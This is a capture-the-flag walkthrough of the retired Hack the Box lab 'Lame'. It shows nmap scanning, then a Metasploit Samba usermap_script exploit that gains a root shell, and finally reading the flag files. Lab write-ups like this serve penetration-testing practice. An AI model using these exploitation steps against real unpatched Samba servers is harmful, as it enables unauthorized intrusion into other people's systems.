Hello friends!! Today we are going to solve another CTF challenge “Lame” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab therefore we have chosen retried Lame lab.
Level: Beginners
Task: find user.txt and root.txt file in victim’s machine.
Let’s begin the Game!!
Since these labs are online available therefore they have static IP and IP of Lame is 10.10.10.3 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.3
From given below image, you can observe that we found so many open ports such as 21 for ftp, 22 for ssh, 139 and 445 for samba service and also got hit OS platform can be Unix or linux.
Gratefully Google gave me hint in their 2nd link of exploit DB.
Then I run msfconsolecommand in terminal and load metasploit framework for using Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution module for exploiting target machine.
use exploit/multi/samba/usermap_script
msfexploit(multi/samba/usermap_script) > set rhost 10.10.10.3
msfexploit(multi/samba/usermap_script) > exploit
Terrific!! I have got unauthorized access of victims command shell through session 1 as shown in below image.
I had updated command shell into meterpreter shell by executing following command.
session -u 1
Inside path: /home/makisI found user.txt file and used cat “file name” command for reading this file.
cd home
ls
cd makis
ls
cat user.txt
Great!! We got our 1st flag successfully
Inside path: /rootI found root.txt file and used cat “file name” command for reading this file.
cd root
ls
cat root.txt
Great!! We got our 2st flag successfully
It will be very stress-free challenge for those candidate who have knowledge little know vulnerability analysis.
Happy Hacking!!
